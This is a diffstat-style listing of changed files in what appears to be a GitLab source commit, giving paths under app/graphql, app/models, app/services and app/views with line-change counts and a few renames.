-rw-r--r--app/graphql/resolvers/projects_resolver.rb7
-rw-r--r--app/graphql/resolvers/timelog_resolver.rb108
-rw-r--r--app/graphql/types/base_enum.rb15
-rw-r--r--app/graphql/types/ci/ci_cd_setting_type.rb3
-rw-r--r--app/graphql/types/ci/runner_sort_enum.rb4
-rw-r--r--app/graphql/types/ci/runner_type.rb2
-rw-r--r--app/graphql/types/ci/runner_type_enum.rb8
-rw-r--r--app/graphql/types/deprecated_mutations.rb10
-rw-r--r--app/graphql/types/global_id_type.rb27
-rw-r--r--app/graphql/types/label_type.rb2
-rw-r--r--app/graphql/types/member_interface.rb2
-rw-r--r--app/graphql/types/merge_request_type.rb10
-rw-r--r--app/graphql/types/merge_requests/merge_status_enum.rb26
-rw-r--r--app/graphql/types/mutation_type.rb3
-rw-r--r--app/graphql/types/packages/metadata_type.rb4
-rw-r--r--app/graphql/types/packages/package_group_sort_enum.rb6
-rw-r--r--app/graphql/types/packages/package_type.rb2
-rw-r--r--app/graphql/types/packages/pypi/metadatum_type.rb17
-rw-r--r--app/graphql/types/project_type.rb4
-rw-r--r--app/graphql/types/projects/service_type.rb2
-rw-r--r--app/graphql/types/projects/service_type_enum.rb4
-rw-r--r--app/graphql/types/snippet_type.rb6
-rw-r--r--app/graphql/types/snippets/blob_action_enum.rb8
-rw-r--r--app/graphql/types/snippets/visibility_scopes_enum.rb6
-rw-r--r--app/graphql/types/timelog_type.rb2
-rw-r--r--app/helpers/admin/background_migrations_helper.rb27
-rw-r--r--app/helpers/application_settings_helper.rb6
-rw-r--r--app/helpers/clusters_helper.rb2
-rw-r--r--app/helpers/commits_helper.rb6
-rw-r--r--app/helpers/dropdowns_helper.rb2
-rw-r--r--app/helpers/environments_helper.rb3
-rw-r--r--app/helpers/events_helper.rb2
-rw-r--r--app/helpers/form_helper.rb28
-rw-r--r--app/helpers/gitlab_script_tag_helper.rb8
-rw-r--r--app/helpers/gitpod_helper.rb2
-rw-r--r--app/helpers/groups/group_members_helper.rb24
-rw-r--r--app/helpers/groups_helper.rb32
-rw-r--r--app/helpers/ide_helper.rb1
-rw-r--r--app/helpers/invite_members_helper.rb34
-rw-r--r--app/helpers/issuables_description_templates_helper.rb9
-rw-r--r--app/helpers/issuables_helper.rb4
-rw-r--r--app/helpers/issues_helper.rb6
-rw-r--r--app/helpers/keyset_helper.rb13
-rw-r--r--app/helpers/merge_requests_helper.rb6
-rw-r--r--app/helpers/nav/new_dropdown_helper.rb188
-rw-r--r--app/helpers/nav/top_nav_helper.rb148
-rw-r--r--app/helpers/nav_helper.rb3
-rw-r--r--app/helpers/notify_helper.rb32
-rw-r--r--app/helpers/operations_helper.rb18
-rw-r--r--app/helpers/packages_helper.rb10
-rw-r--r--app/helpers/preferences_helper.rb10
-rw-r--r--app/helpers/projects/project_members_helper.rb25
-rw-r--r--app/helpers/projects_helper.rb4
-rw-r--r--app/helpers/registrations_helper.rb10
-rw-r--r--app/helpers/search_helper.rb3
-rw-r--r--app/helpers/services_helper.rb2
-rw-r--r--app/helpers/sidebars_helper.rb8
-rw-r--r--app/helpers/tab_helper.rb16
-rw-r--r--app/helpers/tags_helper.rb10
-rw-r--r--app/helpers/user_callouts_helper.rb10
-rw-r--r--app/helpers/version_check_helper.rb2
-rw-r--r--app/mailers/emails/in_product_marketing.rb5
-rw-r--r--app/mailers/emails/members.rb35
-rw-r--r--app/mailers/emails/service_desk.rb8
-rw-r--r--app/mailers/previews/notify_preview.rb2
-rw-r--r--app/models/analytics/cycle_analytics/project_level.rb49
-rw-r--r--app/models/analytics/usage_trends/measurement.rb2
-rw-r--r--app/models/application_record.rb10
-rw-r--r--app/models/application_setting.rb12
-rw-r--r--app/models/application_setting_implementation.rb2
-rw-r--r--app/models/bulk_imports/export.rb10
-rw-r--r--app/models/bulk_imports/export_status.rb47
-rw-r--r--app/models/bulk_imports/file_transfer/base_config.rb12
-rw-r--r--app/models/chat_team.rb4
-rw-r--r--app/models/ci/bridge.rb2
-rw-r--r--app/models/ci/build.rb132
-rw-r--r--app/models/ci/build_dependencies.rb2
-rw-r--r--app/models/ci/build_metadata.rb7
-rw-r--r--app/models/ci/build_trace_chunk.rb33
-rw-r--r--app/models/ci/build_trace_chunks/database.rb4
-rw-r--r--app/models/ci/build_trace_chunks/fog.rb12
-rw-r--r--app/models/ci/build_trace_chunks/redis.rb87
-rw-r--r--app/models/ci/build_trace_chunks/redis_base.rb90
-rw-r--r--app/models/ci/build_trace_chunks/redis_trace_chunks.rb13
-rw-r--r--app/models/ci/build_trace_section.rb3
-rw-r--r--app/models/ci/job_artifact.rb18
-rw-r--r--app/models/ci/job_token/project_scope_link.rb33
-rw-r--r--app/models/ci/job_token/scope.rb43
-rw-r--r--app/models/ci/pending_build.rb18
-rw-r--r--app/models/ci/pipeline.rb20
-rw-r--r--app/models/ci/pipeline_schedule.rb12
-rw-r--r--app/models/ci/processable.rb2
-rw-r--r--app/models/ci/runner.rb98
-rw-r--r--app/models/ci/runner_namespace.rb5
-rw-r--r--app/models/ci/runner_project.rb5
-rw-r--r--app/models/ci/running_build.rb28
-rw-r--r--app/models/ci/stage.rb3
-rw-r--r--app/models/clusters/applications/fluentd.rb121
-rw-r--r--app/models/clusters/applications/ingress.rb101
-rw-r--r--app/models/clusters/applications/knative.rb4
-rw-r--r--app/models/clusters/applications/runner.rb2
-rw-r--r--app/models/clusters/cluster.rb33
-rw-r--r--app/models/clusters/clusters_hierarchy.rb9
-rw-r--r--app/models/commit.rb34
-rw-r--r--app/models/commit_status.rb8
-rw-r--r--app/models/concerns/bulk_insert_safe.rb6
-rw-r--r--app/models/concerns/cache_markdown_field.rb9
-rw-r--r--app/models/concerns/cron_schedulable.rb21
-rw-r--r--app/models/concerns/deployment_platform.rb8
-rw-r--r--app/models/concerns/enum_with_nil.rb8
-rw-r--r--app/models/concerns/enums/ci/commit_status.rb1
-rw-r--r--app/models/concerns/enums/vulnerability.rb12
-rw-r--r--app/models/concerns/has_timelogs_report.rb20
-rw-r--r--app/models/concerns/has_user_type.rb5
-rw-r--r--app/models/concerns/integrations/base_data_fields.rb28
-rw-r--r--app/models/concerns/integrations/has_data_fields.rb61
-rw-r--r--app/models/concerns/integrations/slack_mattermost_notifier.rb24
-rw-r--r--app/models/concerns/issuable.rb23
-rw-r--r--app/models/concerns/issue_available_features.rb3
-rw-r--r--app/models/concerns/limitable.rb3
-rw-r--r--app/models/concerns/mentionable/reference_regexes.rb2
-rw-r--r--app/models/concerns/notification_branch_selection.rb2
-rw-r--r--app/models/concerns/packages/debian/component_file.rb4
-rw-r--r--app/models/concerns/packages/debian/distribution.rb12
-rw-r--r--app/models/concerns/packages/debian/distribution_key.rb45
-rw-r--r--app/models/concerns/prometheus_adapter.rb2
-rw-r--r--app/models/concerns/service_push_data_validations.rb4
-rw-r--r--app/models/concerns/services/data_fields.rb26
-rw-r--r--app/models/concerns/taggable_queries.rb16
-rw-r--r--app/models/concerns/time_trackable.rb18
-rw-r--r--app/models/concerns/timebox.rb13
-rw-r--r--app/models/concerns/token_authenticatable_strategies/encryption_helper.rb12
-rw-r--r--app/models/container_repository.rb23
-rw-r--r--app/models/cycle_analytics/project_level.rb48
-rw-r--r--app/models/deployment.rb3
-rw-r--r--app/models/environment.rb5
-rw-r--r--app/models/environment_status.rb2
-rw-r--r--app/models/experiment.rb13
-rw-r--r--app/models/experiment_subject.rb10
-rw-r--r--app/models/group.rb56
-rw-r--r--app/models/group_deploy_token.rb2
-rw-r--r--app/models/hooks/project_hook.rb5
-rw-r--r--app/models/hooks/web_hook.rb16
-rw-r--r--app/models/hooks/web_hook_log_archived.rb12
-rw-r--r--app/models/import_export_upload.rb35
-rw-r--r--app/models/integration.rb54
-rw-r--r--app/models/integrations/bamboo.rb2
-rw-r--r--app/models/integrations/base_chat_notification.rb255
-rw-r--r--app/models/integrations/base_ci.rb44
-rw-r--r--app/models/integrations/base_issue_tracker.rb156
-rw-r--r--app/models/integrations/base_slash_commands.rb67
-rw-r--r--app/models/integrations/bugzilla.rb26
-rw-r--r--app/models/integrations/buildkite.rb145
-rw-r--r--app/models/integrations/builds_email.rb16
-rw-r--r--app/models/integrations/chat_message/base_message.rb2
-rw-r--r--app/models/integrations/chat_message/pipeline_message.rb8
-rw-r--r--app/models/integrations/chat_message/push_message.rb2
-rw-r--r--app/models/integrations/chat_message/wiki_page_message.rb12
-rw-r--r--app/models/integrations/custom_issue_tracker.rb25
-rw-r--r--app/models/integrations/discord.rb68
-rw-r--r--app/models/integrations/drone_ci.rb106
-rw-r--r--app/models/integrations/ewm.rb38
-rw-r--r--app/models/integrations/external_wiki.rb52
-rw-r--r--app/models/integrations/flowdock.rb52
-rw-r--r--app/models/integrations/hangouts_chat.rb71
-rw-r--r--app/models/integrations/irker.rb123
-rw-r--r--app/models/integrations/issue_tracker_data.rb11
-rw-r--r--app/models/integrations/jenkins.rb113
-rw-r--r--app/models/integrations/jira.rb588
-rw-r--r--app/models/integrations/jira_tracker_data.rb14
-rw-r--r--app/models/integrations/mattermost.rb33
-rw-r--r--app/models/integrations/mattermost_slash_commands.rb59
-rw-r--r--app/models/integrations/microsoft_teams.rb59
-rw-r--r--app/models/integrations/mock_ci.rb90
-rw-r--r--app/models/integrations/open_project.rb20
-rw-r--r--app/models/integrations/open_project_tracker_data.rb18
-rw-r--r--app/models/integrations/packagist.rb67
-rw-r--r--app/models/integrations/pipelines_email.rb105
-rw-r--r--app/models/integrations/pivotaltracker.rb78
-rw-r--r--app/models/integrations/pushover.rb107
-rw-r--r--app/models/integrations/redmine.rb25
-rw-r--r--app/models/integrations/slack.rb59
-rw-r--r--app/models/integrations/slack_slash_commands.rb36
-rw-r--r--app/models/integrations/teamcity.rb191
-rw-r--r--app/models/integrations/unify_circuit.rb62
-rw-r--r--app/models/integrations/webex_teams.rb56
-rw-r--r--app/models/integrations/youtrack.rb42
-rw-r--r--app/models/issue.rb6
-rw-r--r--app/models/key.rb5
-rw-r--r--app/models/label.rb4
-rw-r--r--app/models/label_link.rb1
-rw-r--r--app/models/lfs_object.rb17
-rw-r--r--app/models/member.rb23
-rw-r--r--app/models/members/group_member.rb6
-rw-r--r--app/models/members/last_group_owner_assigner.rb62
-rw-r--r--app/models/merge_request.rb9
-rw-r--r--app/models/merge_request_context_commit.rb2
-rw-r--r--app/models/merge_request_diff.rb18
-rw-r--r--app/models/merge_request_diff_commit.rb2
-rw-r--r--app/models/milestone.rb13
-rw-r--r--app/models/namespace.rb15
-rw-r--r--app/models/namespace_setting.rb3
-rw-r--r--app/models/namespaces/traversal/linear.rb27
-rw-r--r--app/models/namespaces/traversal/recursive.rb6
-rw-r--r--app/models/note.rb10
-rw-r--r--app/models/onboarding_progress.rb4
-rw-r--r--app/models/operations/feature_flag.rb2
-rw-r--r--app/models/packages/debian/group_distribution_key.rb9
-rw-r--r--app/models/packages/debian/project_distribution_key.rb9
-rw-r--r--app/models/packages/package.rb71
-rw-r--r--app/models/packages/package_file.rb7
-rw-r--r--app/models/pages/lookup_path.rb40
-rw-r--r--app/models/pages_domain.rb12
-rw-r--r--app/models/postgresql/replication_slot.rb4
-rw-r--r--app/models/preloaders/user_max_access_level_in_projects_preloader.rb2
-rw-r--r--app/models/project.rb220
-rw-r--r--app/models/project_authorization.rb9
-rw-r--r--app/models/project_ci_cd_setting.rb1
-rw-r--r--app/models/project_feature.rb8
-rw-r--r--app/models/project_feature_usage.rb14
-rw-r--r--app/models/project_repository_storage_move.rb13
-rw-r--r--app/models/project_services/bugzilla_service.rb24
-rw-r--r--app/models/project_services/buildkite_service.rb143
-rw-r--r--app/models/project_services/chat_notification_service.rb252
-rw-r--r--app/models/project_services/ci_service.rb42
-rw-r--r--app/models/project_services/custom_issue_tracker_service.rb23
-rw-r--r--app/models/project_services/data_fields.rb59
-rw-r--r--app/models/project_services/discord_service.rb66
-rw-r--r--app/models/project_services/drone_ci_service.rb104
-rw-r--r--app/models/project_services/ewm_service.rb36
-rw-r--r--app/models/project_services/external_wiki_service.rb50
-rw-r--r--app/models/project_services/flowdock_service.rb50
-rw-r--r--app/models/project_services/hangouts_chat_service.rb71
-rw-r--r--app/models/project_services/hipchat_service.rb32
-rw-r--r--app/models/project_services/irker_service.rb121
-rw-r--r--app/models/project_services/issue_tracker_data.rb9
-rw-r--r--app/models/project_services/issue_tracker_service.rb152
-rw-r--r--app/models/project_services/jenkins_service.rb111
-rw-r--r--app/models/project_services/jira_service.rb541
-rw-r--r--app/models/project_services/jira_tracker_data.rb24
-rw-r--r--app/models/project_services/mattermost_service.rb31
-rw-r--r--app/models/project_services/mattermost_slash_commands_service.rb57
-rw-r--r--app/models/project_services/microsoft_teams_service.rb57
-rw-r--r--app/models/project_services/mock_ci_service.rb90
-rw-r--r--app/models/project_services/open_project_service.rb18
-rw-r--r--app/models/project_services/open_project_tracker_data.rb16
-rw-r--r--app/models/project_services/packagist_service.rb65
-rw-r--r--app/models/project_services/pipelines_email_service.rb103
-rw-r--r--app/models/project_services/pivotaltracker_service.rb76
-rw-r--r--app/models/project_services/prometheus_service.rb4
-rw-r--r--app/models/project_services/pushover_service.rb105
-rw-r--r--app/models/project_services/redmine_service.rb23
-rw-r--r--app/models/project_services/slack_mattermost/notifier.rb24
-rw-r--r--app/models/project_services/slack_service.rb57
-rw-r--r--app/models/project_services/slack_slash_commands_service.rb34
-rw-r--r--app/models/project_services/slash_commands_service.rb65
-rw-r--r--app/models/project_services/teamcity_service.rb189
-rw-r--r--app/models/project_services/unify_circuit_service.rb60
-rw-r--r--app/models/project_services/webex_teams_service.rb54
-rw-r--r--app/models/project_services/youtrack_service.rb40
-rw-r--r--app/models/project_statistics.rb20
-rw-r--r--app/models/protected_branch.rb2
-rw-r--r--app/models/release.rb8
-rw-r--r--app/models/release_highlight.rb2
-rw-r--r--app/models/repository.rb2
-rw-r--r--app/models/service_desk_setting.rb22
-rw-r--r--app/models/snippet_repository_storage_move.rb13
-rw-r--r--app/models/timelog.rb8
-rw-r--r--app/models/todo.rb1
-rw-r--r--app/models/user.rb57
-rw-r--r--app/models/user_callout.rb5
-rw-r--r--app/models/user_detail.rb1
-rw-r--r--app/models/users/in_product_marketing_email.rb3
-rw-r--r--app/policies/concerns/policy_actor.rb4
-rw-r--r--app/policies/global_policy.rb1
-rw-r--r--app/policies/group_policy.rb3
-rw-r--r--app/policies/issue_policy.rb12
-rw-r--r--app/policies/merge_request_policy.rb5
-rw-r--r--app/policies/packages/pypi/metadatum_policy.rb8
-rw-r--r--app/policies/project_policy.rb17
-rw-r--r--app/policies/timelog_policy.rb2
-rw-r--r--app/presenters/commit_status_presenter.rb3
-rw-r--r--app/presenters/packages/detail/package_presenter.rb4
-rw-r--r--app/presenters/packages/pypi/package_presenter.rb43
-rw-r--r--app/presenters/project_presenter.rb2
-rw-r--r--app/presenters/release_presenter.rb14
-rw-r--r--app/serializers/analytics_stage_entity.rb6
-rw-r--r--app/serializers/cluster_application_entity.rb4
-rw-r--r--app/serializers/fork_namespace_entity.rb8
-rw-r--r--app/serializers/issue_board_entity.rb2
-rw-r--r--app/serializers/member_serializer.rb2
-rw-r--r--app/serializers/merge_request_diff_entity.rb8
-rw-r--r--app/services/authorized_project_update/periodic_recalculate_service.rb7
-rw-r--r--app/services/authorized_project_update/project_group_link_create_service.rb2
-rw-r--r--app/services/authorized_project_update/project_recalculate_service.rb80
-rw-r--r--app/services/authorized_project_update/recalculate_for_user_range_service.rb20
-rw-r--r--app/services/base_container_service.rb8
-rw-r--r--app/services/base_count_service.rb4
-rw-r--r--app/services/boards/base_item_move_service.rb9
-rw-r--r--app/services/boards/base_items_list_service.rb12
-rw-r--r--app/services/boards/issues/list_service.rb4
-rw-r--r--app/services/branches/create_service.rb8
-rw-r--r--app/services/bulk_imports/file_decompression_service.rb58
-rw-r--r--app/services/bulk_imports/file_download_service.rb102
-rw-r--r--app/services/bulk_imports/relation_export_service.rb4
-rw-r--r--app/services/ci/create_downstream_pipeline_service.rb12
-rw-r--r--app/services/ci/create_pipeline_service.rb1
-rw-r--r--app/services/ci/job_artifacts/create_service.rb5
-rw-r--r--app/services/ci/pipeline_creation/start_pipeline_service.rb19
-rw-r--r--app/services/ci/pipeline_schedules/calculate_next_run_service.rb59
-rw-r--r--app/services/ci/play_bridge_service.rb10
-rw-r--r--app/services/ci/play_build_service.rb18
-rw-r--r--app/services/ci/register_job_service.rb64
-rw-r--r--app/services/ci/retry_build_service.rb13
-rw-r--r--app/services/ci/update_build_queue_service.rb100
-rw-r--r--app/services/ci/update_build_state_service.rb22
-rw-r--r--app/services/clusters/applications/base_service.rb18
-rw-r--r--app/services/clusters/applications/schedule_update_service.rb7
-rw-r--r--app/services/clusters/cleanup/app_service.rb33
-rw-r--r--app/services/clusters/cleanup/project_namespace_service.rb2
-rw-r--r--app/services/clusters/cleanup/service_account_service.rb2
-rw-r--r--app/services/clusters/gcp/finalize_creation_service.rb12
-rw-r--r--app/services/clusters/parse_cluster_applications_artifact_service.rb94
-rw-r--r--app/services/commits/change_service.rb5
-rw-r--r--app/services/container_expiration_policies/cleanup_service.rb1
-rw-r--r--app/services/deployments/update_environment_service.rb16
-rw-r--r--app/services/design_management/copy_design_collection/copy_service.rb10
-rw-r--r--app/services/design_management/design_service.rb2
-rw-r--r--app/services/discussions/resolve_service.rb7
-rw-r--r--app/services/feature_flags/disable_service.rb46
-rw-r--r--app/services/feature_flags/enable_service.rb93
-rw-r--r--app/services/groups/create_service.rb2
-rw-r--r--app/services/groups/group_links/create_service.rb34
-rw-r--r--app/services/groups/participants_service.rb4
-rw-r--r--app/services/groups/transfer_service.rb3
-rw-r--r--app/services/import_export_clean_up_service.rb36
-rw-r--r--app/services/issuable_base_service.rb25
-rw-r--r--app/services/issue_rebalancing_service.rb11
-rw-r--r--app/services/issues/base_service.rb34
-rw-r--r--app/services/issues/close_service.rb13
-rw-r--r--app/services/issues/create_service.rb31
-rw-r--r--app/services/issues/update_service.rb22
-rw-r--r--app/services/issues/zoom_link_service.rb4
-rw-r--r--app/services/jira_import/users_importer.rb15
-rw-r--r--app/services/mattermost/create_team_service.rb4
-rw-r--r--app/services/members/create_service.rb22
-rw-r--r--app/services/merge_requests/base_service.rb33
-rw-r--r--app/services/merge_requests/handle_assignees_change_service.rb2
-rw-r--r--app/services/merge_requests/refresh_service.rb3
-rw-r--r--app/services/merge_requests/update_assignees_service.rb11
-rw-r--r--app/services/merge_requests/update_service.rb25
-rw-r--r--app/services/namespace_settings/update_service.rb10
-rw-r--r--app/services/namespaces/in_product_marketing_emails_service.rb45
-rw-r--r--app/services/notification_recipients/builder/base.rb45
-rw-r--r--app/services/packages/debian/create_distribution_service.rb21
-rw-r--r--app/services/packages/debian/destroy_distribution_service.rb33
-rw-r--r--app/services/packages/debian/generate_distribution_service.rb53
-rw-r--r--app/services/packages/debian/process_changes_service.rb2
-rw-r--r--app/services/packages/debian/update_distribution_service.rb10
-rw-r--r--app/services/packages/helm/extract_file_metadata_service.rb53
-rw-r--r--app/services/packages/nuget/metadata_extraction_service.rb27
-rw-r--r--app/services/pages/delete_service.rb9
-rw-r--r--app/services/projects/create_service.rb37
-rw-r--r--app/services/projects/destroy_service.rb2
-rw-r--r--app/services/projects/group_links/create_service.rb26
-rw-r--r--app/services/projects/group_links/destroy_service.rb20
-rw-r--r--app/services/projects/prometheus/alerts/notify_service.rb4
-rw-r--r--app/services/projects/update_service.rb9
-rw-r--r--app/services/prometheus/create_default_alerts_service.rb7
-rw-r--r--app/services/resource_access_tokens/create_service.rb2
-rw-r--r--app/services/search/project_service.rb4
-rw-r--r--app/services/search_service.rb4
-rw-r--r--app/services/security/ci_configuration/sast_parser_service.rb20
-rw-r--r--app/services/snippets/base_service.rb6
-rw-r--r--app/services/snippets/create_service.rb2
-rw-r--r--app/services/snippets/update_service.rb2
-rw-r--r--app/services/todo_service.rb2
-rw-r--r--app/services/user_project_access_changed_service.rb23
-rw-r--r--app/services/users/activity_service.rb4
-rw-r--r--app/services/users/authorized_build_service.rb18
-rw-r--r--app/services/users/authorized_create_service.rb14
-rw-r--r--app/services/users/build_service.rb187
-rw-r--r--app/services/users/create_service.rb9
-rw-r--r--app/services/users/refresh_authorized_projects_service.rb9
-rw-r--r--app/services/users/registrations_build_service.rb7
-rw-r--r--app/services/users/update_assigned_open_issue_count_service.rb33
-rw-r--r--app/services/web_hook_service.rb51
-rw-r--r--app/services/web_hooks/log_execution_service.rb35
-rw-r--r--app/validators/json_schemas/ci_runner_config.json9
-rw-r--r--app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json37
-rw-r--r--app/views/admin/appearances/_form.html.haml114
-rw-r--r--app/views/admin/appearances/preview_sign_in.html.haml12
-rw-r--r--app/views/admin/application_settings/_account_and_limit.html.haml8
-rw-r--r--app/views/admin/application_settings/_ci_cd.html.haml30
-rw-r--r--app/views/admin/application_settings/_diff_limits.html.haml25
-rw-r--r--app/views/admin/application_settings/_gitpod.html.haml6
-rw-r--r--app/views/admin/application_settings/appearances/_form.html.haml114
-rw-r--r--app/views/admin/application_settings/appearances/_system_header_footer_form.html.haml (renamed from app/views/admin/appearances/_system_header_footer_form.html.haml)0
-rw-r--r--app/views/admin/application_settings/appearances/preview_sign_in.html.haml12
-rw-r--r--app/views/admin/application_settings/appearances/show.html.haml (renamed from app/views/admin/appearances/show.html.haml)0
-rw-r--r--app/views/admin/application_settings/ci/_header.html.haml2
-rw-r--r--app/views/admin/application_settings/ci_cd.html.haml2
-rw-r--r--app/views/admin/application_settings/general.html.haml7
-rw-r--r--app/views/admin/application_settings/integrations.html.haml13
-rw-r--r--app/views/admin/background_migrations/_migration.html.haml10
-rw-r--r--app/views/admin/background_migrations/index.html.haml35
-rw-r--r--app/views/admin/broadcast_messages/_form.html.haml14
-rw-r--r--app/views/admin/dashboard/index.html.haml3
-rw-r--r--app/views/admin/groups/_form.html.haml10
-rw-r--r--app/views/admin/runners/_runner.html.haml2
-rw-r--r--app/views/admin/runners/index.html.haml242
-rw-r--r--app/views/admin/runners/show.html.haml8
-rw-r--r--app/views/admin/serverless/domains/_form.html.haml2
-rw-r--r--app/views/admin/services/_service_templates_deprecated_alert.html.haml10
-rw-r--r--app/views/admin/users/_access_levels.html.haml14
-rw-r--r--app/views/admin/users/_modals.html.haml2
-rw-r--r--app/views/admin/users/_user.html.haml72
-rw-r--r--app/views/admin/users/_users.html.haml17
-rw-r--r--app/views/admin/users/show.html.haml1
-rw-r--r--app/views/ci/runner/_how_to_setup_runner.html.haml2
-rw-r--r--app/views/ci/runner/_setup_runner_in_aws.html.haml16
-rw-r--r--app/views/clusters/clusters/_advanced_settings.html.haml2
-rw-r--r--app/views/clusters/clusters/_health.html.haml2
-rw-r--r--app/views/clusters/clusters/gcp/_form.html.haml13
-rw-r--r--app/views/clusters/clusters/show.html.haml16
-rw-r--r--app/views/dashboard/todos/_todo.html.haml2
-rw-r--r--app/views/dashboard/todos/index.html.haml2
-rw-r--r--app/views/devise/confirmations/almost_there.haml6
-rw-r--r--app/views/devise/passwords/new.html.haml2
-rw-r--r--app/views/devise/registrations/new.html.haml3
-rw-r--r--app/views/devise/shared/_signup_box.html.haml41
-rw-r--r--app/views/events/_event.atom.builder3
-rw-r--r--app/views/events/_event_push.atom.haml4
-rw-r--r--app/views/groups/_invite_members_modal.html.haml2
-rw-r--r--app/views/groups/_new_group_fields.html.haml2
-rw-r--r--app/views/groups/dependency_proxies/show.html.haml6
-rw-r--r--app/views/groups/group_members/index.html.haml61
-rw-r--r--app/views/groups/new.html.haml57
-rw-r--r--app/views/groups/runners/_group_runners.html.haml4
-rw-r--r--app/views/groups/settings/_permissions.html.haml12
-rw-r--r--app/views/groups/settings/ci_cd/_form.html.haml3
-rw-r--r--app/views/groups/settings/integrations/index.html.haml2
-rw-r--r--app/views/groups/show.html.haml1
-rw-r--r--app/views/groups/sidebar/_packages.html.haml2
-rw-r--r--app/views/import/_githubish_status.html.haml5
-rw-r--r--app/views/import/bitbucket_server/new.html.haml7
-rw-r--r--app/views/import/bitbucket_server/status.html.haml1
-rw-r--r--app/views/import/fogbugz/new.html.haml4
-rw-r--r--app/views/import/fogbugz/new_user_map.html.haml4
-rw-r--r--app/views/import/fogbugz/status.html.haml1
-rw-r--r--app/views/import/gitea/new.html.haml3
-rw-r--r--app/views/import/gitea/status.html.haml1
-rw-r--r--app/views/import/github/new.html.haml6
-rw-r--r--app/views/import/github/status.html.haml2
-rw-r--r--app/views/import/gitlab/status.html.haml1
-rw-r--r--app/views/import/gitlab_projects/new.html.haml3
-rw-r--r--app/views/import/manifest/new.html.haml4
-rw-r--r--app/views/import/manifest/status.html.haml1
-rw-r--r--app/views/import/phabricator/new.html.haml7
-rw-r--r--app/views/import/shared/_errors.html.haml10
-rw-r--r--app/views/kaminari/gitlab/_keyset_paginator.html.haml30
-rw-r--r--app/views/layouts/_head.html.haml6
-rw-r--r--app/views/layouts/_page.html.haml6
-rw-r--r--app/views/layouts/_search.html.haml2
-rw-r--r--app/views/layouts/_startup_css.haml3
-rw-r--r--app/views/layouts/application.html.haml4
-rw-r--r--app/views/layouts/devise.html.haml2
-rw-r--r--app/views/layouts/fullscreen.html.haml5
-rw-r--r--app/views/layouts/header/_default.html.haml30
-rw-r--r--app/views/layouts/header/_group_invite_members_new_dropdown_item.html.haml3
-rw-r--r--app/views/layouts/header/_help_dropdown.html.haml2
-rw-r--r--app/views/layouts/header/_new_dropdown.html.haml62
-rw-r--r--app/views/layouts/header/_new_repo_experiment.html.haml6
-rw-r--r--app/views/layouts/header/_project_invite_members_new_dropdown_item.html.haml3
-rw-r--r--app/views/layouts/header/_registration_enabled_callout.html.haml25
-rw-r--r--app/views/layouts/nav/_dashboard.html.haml18
-rw-r--r--app/views/layouts/nav/_top_nav.html.haml8
-rw-r--r--app/views/layouts/nav/_top_nav_responsive.html.haml7
-rw-r--r--app/views/layouts/nav/groups_dropdown/_show.html.haml17
-rw-r--r--app/views/layouts/nav/projects_dropdown/_show.html.haml8
-rw-r--r--app/views/layouts/nav/sidebar/_admin.html.haml41
-rw-r--r--app/views/layouts/nav/sidebar/_analytics_links.html.haml2
-rw-r--r--app/views/layouts/nav/sidebar/_context_menu_body.html.haml9
-rw-r--r--app/views/layouts/nav/sidebar/_group.html.haml39
-rw-r--r--app/views/layouts/nav/sidebar/_profile.html.haml7
-rw-r--r--app/views/layouts/terms.html.haml2
-rw-r--r--app/views/notify/_failed_builds.html.haml4
-rw-r--r--app/views/notify/in_product_marketing_email.html.haml29
-rw-r--r--app/views/notify/in_product_marketing_email.text.erb9
-rw-r--r--app/views/notify/member_invited_email.html.haml52
-rw-r--r--app/views/notify/pipeline_failed_email.text.erb2
-rw-r--r--app/views/notify/ssh_key_expired_email.html.haml2
-rw-r--r--app/views/notify/ssh_key_expired_email.text.erb2
-rw-r--r--app/views/notify/ssh_key_expiring_soon.text.erb2
-rw-r--r--app/views/notify/ssh_key_expiring_soon_email.html.haml2
-rw-r--r--app/views/notify/unknown_sign_in_email.html.haml2
-rw-r--r--app/views/profiles/emails/index.html.haml10
-rw-r--r--app/views/profiles/notifications/show.html.haml16
-rw-r--r--app/views/profiles/personal_access_tokens/index.html.haml16
-rw-r--r--app/views/profiles/show.html.haml26
-rw-r--r--app/views/profiles/two_factor_auths/show.html.haml4
-rw-r--r--app/views/projects/_bitbucket_import_modal.html.haml2
-rw-r--r--app/views/projects/_deletion_failed.html.haml10
-rw-r--r--app/views/projects/_files.html.haml2
-rw-r--r--app/views/projects/_gitlab_import_modal.html.haml2
-rw-r--r--app/views/projects/_home_panel.html.haml6
-rw-r--r--app/views/projects/_import_project_pane.html.haml2
-rw-r--r--app/views/projects/_invite_members.html.haml10
-rw-r--r--app/views/projects/_visibility_modal.html.haml2
-rw-r--r--app/views/projects/blob/_blob.html.haml9
-rw-r--r--app/views/projects/blob/_header_content.html.haml2
-rw-r--r--app/views/projects/blob/_new_dir.html.haml2
-rw-r--r--app/views/projects/blob/_remove.html.haml2
-rw-r--r--app/views/projects/blob/_upload.html.haml2
-rw-r--r--app/views/projects/blob/_viewer.html.haml1
-rw-r--r--app/views/projects/blob/edit.html.haml12
-rw-r--r--app/views/projects/branches/_branch.html.haml39
-rw-r--r--app/views/projects/branches/_delete_branch_modal_button.html.haml18
-rw-r--r--app/views/projects/branches/_delete_protected_modal.html.haml2
-rw-r--r--app/views/projects/branches/index.html.haml7
-rw-r--r--app/views/projects/buttons/_clone.html.haml21
-rw-r--r--app/views/projects/buttons/_download.html.haml8
-rw-r--r--app/views/projects/ci/builds/_build.html.haml2
-rw-r--r--app/views/projects/commits/_commits.html.haml6
-rw-r--r--app/views/projects/confluences/show.html.haml6
-rw-r--r--app/views/projects/cycle_analytics/show.html.haml2
-rw-r--r--app/views/projects/empty.html.haml5
-rw-r--r--app/views/projects/feature_flags/index.html.haml2
-rw-r--r--app/views/projects/feature_flags_user_lists/edit.html.haml1
-rw-r--r--app/views/projects/feature_flags_user_lists/index.html.haml8
-rw-r--r--app/views/projects/feature_flags_user_lists/new.html.haml1
-rw-r--r--app/views/projects/feature_flags_user_lists/show.html.haml1
-rw-r--r--app/views/projects/forks/new.html.haml3
-rw-r--r--app/views/projects/issues/_nav_btns.html.haml3
-rw-r--r--app/views/projects/jobs/_table.html.haml2
-rw-r--r--app/views/projects/merge_requests/_awards_block.html.haml4
-rw-r--r--app/views/projects/merge_requests/_close_reopen_draft_report_toggle.html.haml7
-rw-r--r--app/views/projects/merge_requests/_mr_title.html.haml8
-rw-r--r--app/views/projects/merge_requests/_widget.html.haml37
-rw-r--r--app/views/projects/merge_requests/edit.html.haml2
-rw-r--r--app/views/projects/merge_requests/invalid.html.haml36
